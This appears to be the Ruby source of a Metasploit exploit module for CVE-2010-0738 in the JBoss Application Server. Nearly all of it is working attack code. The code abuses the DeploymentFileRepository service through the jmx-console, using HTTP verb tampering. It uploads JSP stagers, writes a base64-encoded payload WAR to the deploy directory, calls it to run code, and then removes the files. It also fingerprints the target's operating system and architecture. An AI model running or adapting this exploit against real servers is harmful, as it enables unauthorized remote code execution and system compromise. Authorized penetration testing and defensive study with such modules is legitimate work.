metasploit-framework/modules/exploits/multi/http/jboss_deploymentfilereposit...

425 lines
12 KiB
Ruby

# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss Java Class DeploymentFileRepository WAR Deployment',
'Description' => %q{
This module uses the DeploymentFileRepository class in
JBoss Application Server (jbossas) to deploy a JSP file
which then deploys the WAR file.
},
'Author' => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof', 'h0ng10' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
[ 'OSVDB', '64171' ],
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
],
'Privileged' => false,
'Platform' => ['java', 'linux', 'win' ],
'Targets' =>
[
#
# do target detection but java meter by default
# detect via /manager/serverinfo
#
[ 'Automatic (Java based)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java',
} ],
#
# Platform specific targets only
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
#
# Java version
#
[ 'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
}
]
],
'DisclosureDate' => "Apr 26 2010",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
], self.class)
end
def exploit
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
stager_base = rand_text_alpha(8+rand(8))
head_stager_jsp = rand_text_alpha(8+rand(8))
stager_jsp = rand_text_alpha(8+rand(8))
content_var = rand_text_alpha(8+rand(8))
decoded_var = rand_text_alpha(8+rand(8))
file_path_var = rand_text_alpha(8+rand(8))
jboss_home_var = rand_text_alpha(8+rand(8))
fos_var = rand_text_alpha(8+rand(8))
bw_var = rand_text_alpha(8+rand(8))
p = payload
mytarget = target
if (datastore['VERB'] == 'HEAD')
print_status("Unable to automatically select a target with HEAD requests")
else
if (target.name =~ /Automatic/)
mytarget = auto_target()
if (not mytarget)
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
end
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
arch = mytarget.arch
end
# set arch/platform from the target
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
# We must regenerate the payload in case our auto-magic changed something.
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
# Generate the WAR containing the payload
war_data = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
# The following jsp script will write the stager to the
# deploy/management directory. It is only used with HEAD/GET requests
# to overcome the size limit in those requests
head_stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
if (request.getParameter("#{content_var}") != null) {
try {
String #{content_var} = "";
#{content_var} = request.getParameter("#{content_var}");
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
#{bw_var}.write(#{content_var});
#{bw_var}.close();
}
catch(Exception e)
{
}
}
%>
EOT
# The following jsp script will write the exploded WAR file to the deploy/
# directory or try to delete it
stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
try {
String #{content_var} = "#{encoded_payload}";
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e)
{
}
%>
EOT
# Depending on the type on the verb we might use a second stager
if datastore['VERB'] == "POST" then
print_status("Deploying stager for the WAR file")
res = upload_file(stager_base, stager_jsp, stager_jsp_code)
else
print_status("Deploying minimal stager to upload the payload")
res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code)
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
# We split the stager_jsp_code in multipe junks and transfer on the
# target with multiple requests
current_pos = 0
while current_pos < stager_jsp_code.length
next_pos = current_pos + 5000 + rand(100)
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
res = call_uri_mtimes(head_stager_uri + junk)
current_pos += next_pos
end
end
# Call the stager to deploy the payload war file
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
# but the file still gets written.
if (res.code == 200 || res.code == 500)
print_status("Calling stager to deploy the payload warfile (might take some time)")
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
stager_res = call_uri_mtimes(stager_uri)
print_status("Try to call the deployed payload")
# Try to execute the payload by calling the deployed WAR file
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
payload_res = call_uri_mtimes(payload_uri)
#
# DELETE
#
# The WAR can only be removed by physically deleting it, otherwise it
# will get redeployed after a server restart.
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
delete_res = []
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
delete_res.each do |res|
if !res
print_warning("WARNING: Unable to remove WAR [No Response]")
elsif (res.code < 200 || res.code >= 300)
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
end
end
handler
end
end
# Upload a text file with DeploymentFileRepository.store()
def upload_file(base_name, jsp_name, content)
data = 'action=invokeOpByName'
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
data << '&methodName=store'
data << '&argType=java.lang.String'
data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
data << '&argType=java.lang.String'
data << '&arg1=' + jsp_name
data << '&argType=java.lang.String'
data << '&arg2=.jsp'
data << '&argType=java.lang.String'
data << '&arg3=' + Rex::Text.uri_encode(content)
data << '&argType=boolean'
data << '&arg4=True'
if (datastore['VERB'] == "POST")
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
'method' => datastore['VERB'],
'data' => data
}, 5)
else
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
'method' => datastore['VERB'],
}, 30)
end
res
end
# Delete a file with DeploymentFileRepository.remove().
def delete_file(folder, name, ext)
data = 'action=invokeOpByName'
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
data << '&methodName=remove'
data << '&argType=java.lang.String'
data << '&arg0=' + folder
data << '&argType=java.lang.String'
data << '&arg1=' + name
data << '&argType=java.lang.String'
data << '&arg2=' + ext
if (datastore['VERB'] == "POST")
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
'method' => datastore['VERB'],
'data' => data
}, 5)
else
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
'method' => datastore['VERB'],
}, 30)
end
res
end
# Call the URL multiple times until we have hit
def call_uri_mtimes(uri, num_attempts = 5)
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
# JBoss might need some time for the deployment. Try 5 times at most and
# wait 5 seconds inbetween tries
num_attempts.times do |attempt|
res = send_request_cgi({
'uri' => uri,
'method' => verb
}, 30)
stripped_uri = uri[0,70] + "..."
msg = nil
if (!res)
msg = "Execution failed on #{stripped_uri} [No Response]"
elsif (res.code < 200 or res.code >= 300)
msg = "http request failed to #{stripped_uri} [#{res.code}]"
elsif (res.code == 200)
print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
return res
end
if (attempt < num_attempts - 1)
msg << ", retrying in 5 seconds..."
print_status(msg) if datastore['VERBOSE']
select(nil, nil, nil, 5)
else
print_error(msg)
return res
end
end
end
def auto_target
print_status("Attempting to automatically select a target...")
res = query_serverinfo
if not (plat = detect_platform(res))
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
end
if not (arch = detect_architecture(res))
fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
end
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
# no matching target found, use Java as fallback
java_targets = targets.select {|t| t.name =~ /^Java/ }
return java_targets[0]
end
def query_serverinfo
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path,
'method' => datastore['VERB']
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
# Try to autodetect the target platform
def detect_platform(res)
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
# Try to autodetect the target architecture
def detect_architecture(res)
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
arch = $1
if (arch =~ /(x86|i386|i686)/i)
return ARCH_X86
elsif (os =~ /(x86_64|amd64)/i)
return ARCH_X86
end
end
nil
end
end